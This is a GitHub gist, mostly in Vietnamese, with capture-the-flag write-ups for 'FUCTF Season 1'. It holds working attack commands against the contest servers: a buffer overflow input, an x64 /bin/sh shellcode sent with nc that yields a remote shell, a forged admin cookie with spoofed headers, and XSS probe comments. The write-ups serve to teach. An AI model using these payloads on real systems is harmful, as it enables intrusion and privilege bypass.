Skip to content

Instantly share code, notes, and snippets.

@luuductoan
Last active June 10, 2019 15:43
Show Gist options
  • Save luuductoan/b3e6068686627b4f32021cd835761eb2 to your computer and use it in GitHub Desktop.
Save luuductoan/b3e6068686627b4f32021cd835761eb2 to your computer and use it in GitHub Desktop.
FUCTF Season 1

FUCTF Season 1

FUHCM_ch0jvjkj3nthUc

Cryptography - Warm up

Đếm thứ tự từ chữ f đến chữ u và từ u đến c là 7 kí tự thì ta có quy luật
Bắt đầu từ f đếm đến chữ thứ 7 thì ghi lại kế bên, tiếp tục vậy cho đến hết đề
Sau mỗi lần đếm đến cuối thì ghi lại kí tự kế bên chữ f ở đề bài và bắt đầu lập lại với kí tự đó trong đề

f{_coleuwur_l!c4pyce!tr_phn!fm_tag}
fu{_colewur_l!c4pyce!tr_phn!fm_tag}
fuc{_colewur_l!4pyce!tr_phn!fm_tag}
fuct{_colewur_l!4pyce!r_phn!fm_tag}
fuctf{_colewur_l!4pyce!r_phn!m_tag}
fuctf{w4rm_coleur_l!pyce!_phn!_tag}

fuctf{w4rm_up__crypto_challenge!!!}

Forensic - dendakhongduong

Đổi đuôi file .mp3 thành .raw
Sau đó dùng phần mềm Photoshop để mở file .raw
Chọn Width x Length = 1200x1200
Depth = 8bit
Ta sẽ có flag

image

fuctf{y0u_ar3_my_sug4r_sug4r}

Reverse Engineering - Challenge 1

Tìm 1 phần mềm để đọc .NET (mình dùng dotPeek)
Mở file .NET tải về bằng phần mềm trên
Trong phần DotNet - Form1, chúng ta sẽ đọc được flag

image

fuctf{d3c0mp1l3_m4yb3_f1rst_th1nk1ng}

Pwnable - boyOVERFLOWer

$ (printf 'AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh' ; echo) | nc 139.180.213.85 10001
overflow me : 0x52414151 ...Nah..
timeout: the monitored command dumped core
/home/ctf/redir.sh: line 4:   719 Segmentation fault      timeout 30s ./chall

0x52414151: 'QAAR'
0xcafebabe: '\xbe\xba\xfe\xca'

$ (printf 'AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAA\xbe\xba\xfe\xca'; echo) | nc 139.180.213.85 10001
overflow me : fuctf{first_overflowed_how_do_you_feellll?}

Web - Baby Warmup

$ curl http://23.98.71.198/index.php
<h1>Try again with POST request</h1>
$ curl -X POST http://23.98.71.198/index.php
<h1>You need to use our browser (FUCTF Browser) to pass this step, agent! </h1>
$ curl -A "FUCTF Browser" -X POST http://23.98.71.198/index.php
<h1>This place don't accept external connection, please try again from 127.0.0.1!</h1>
$ curl --referer "127.0.0.1" -A "FUCTF Browser" -X POST http://23.98.71.198/index.php
Only admin is allowed to see the secret of web world!!!

Xem cookies

$ curl --cookie-jar /tmp/cookies --referer "127.0.0.1" -A "FUCTF Browser" -X POST http://23.98.71.198/index.php
$ cat /tmp/cookies
# Netscape HTTP Cookie File
# https://curl.haxx.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.

23.98.71.198    FALSE   /       FALSE   0       privilege       guest

Set cookie

$ curl --cookie "privilege=admin"  --referer "127.0.0.1" -A "FUCTF Browser" -X POST http://23.98.71.198/index.php
GG! You know all the basic thing. Good luck in w3b w0rld
Here is your flag champion!!!!
ZnVjdGZ7dzNsY29tM190MF93M2JfdzBybGQhISF9
$ printf ZnVjdGZ7dzNsY29tM190MF93M2JfdzBybGQhISF9 | base64 -d
fuctf{w3lcom3_t0_w3b_w0rld!!!}

Forensic - For2

Dân chơi nhìn phát biết ngay usb traffic

image

Reference: https://dbaser.github.io/2017/04/27/picoctf-2017-for80-just_keyp_trying/

$ tshark -r 9e1557bc425e349b7b3749abc2ee2f33798d1887.pcap \
> -Y "usb.transfer_type == 0x01"                          \ # URB_INTERRUPT (0x01)
> -T fields -e usb.capdata                                \ # Leftover Capture Data
> | cut -b 5-6                                            \ # Chọn ra byte thứ 3
> | grep -v 00                                            \ # Bỏ byte 00
0a
12
12
0a
0f
08
37
06
12
12
...

Có được data dùng ngay script ăn trộm được ở trên

#!/usr/bin/python
mappings = {
        0x04:"A",
        0x05:"B",
        0x06:"C",
        0x07:"D",
        0x08:"E",
        0x09:"F",
        0x0A:"G",
        0x0B:"H",
        0x0C:"I",
        0x0D:"J",
        0x0E:"K",
        0x0F:"L",
        0x10:"M",
        0x11:"N",
        0x12:"O",
        0x13:"P",
        0x14:"Q",
        0x15:"R",
        0x16:"S",
        0x17:"T",
        0x18:"U",
        0x19:"V",
        0x1A:"W",
        0x1B:"X",
        0x1C:"Y",
        0x1D:"Z",
        0x1E:"1",
        0x1F:"2",
        0x20:"3",
        0x21:"4",
        0x22:"5",
        0x23:"6",
        0x24:"7",
        0x25:"8",
        0x26:"9",
        0x27:"0",
        0x28:"\n",
        0x2C:" ",
        0x2D:"-",
        0x2E:"=",
        0x2F:"[",
        0x30:"]"
        }
 
nums = []
keys = open('data.txt')
for line in keys:
        nums.append(int(line.strip(),16))
keys.close()
 
output = ""
for n in nums:
        if n in mappings:
                output += mappings[n]
        else:
                output += 'x'
 
print 'output :' + output
[script_kiddie_intensifies]$ python2 usbkeymap1.py
GOOGLExCOOM
OPEENSTEEGOO
COVEERxPNG
G0DKN0WSG0DKN0WSCVCCC

Extract png trong file pcap

$ foremost -i 9e1557bc425e349b7b3749abc2ee2f33798d1887.pcap

Dùng openstego với mật khẩu "g0dkn0ws" extract được flag.txt

fuctf{ad9cm31sql0wp2ri}

Cảm thấy chuyên nghiệp không khác gì team nước ngoài ( ͡° ͜ʖ ͡°)

Programming - Say Meow Meow (Remix)

$ g++ -E hoctiengmeo.cpp > meo.cpp                               # Preprocessing
$ clang-format -i meo.cpp                                        # Format code
$ grep -e if.*mmmeow meo.cpp | awk {'print $4'} | tr -d "')\012" # unleash_autism_power.exe
fuctf{meow_meeoOww_m30ww!!}

Shellcode - 101

$ (printf "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"; cat) | nc 139.180.213.85 10003
Google /bin/sh x64 shellcode and bring me what you got
ls
chall
flag
redir.sh
cat flag
fuctf{wheeel_c0m3_to_r34l_h4cker_w0rld!!!}
@matuhn
Copy link

matuhn commented Jun 10, 2019

`<script>alert(1)</script>```

@nguyendown
Copy link

hay do fren

@matuhn
Copy link

matuhn commented Jun 10, 2019

<script>alert(1)</script>

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment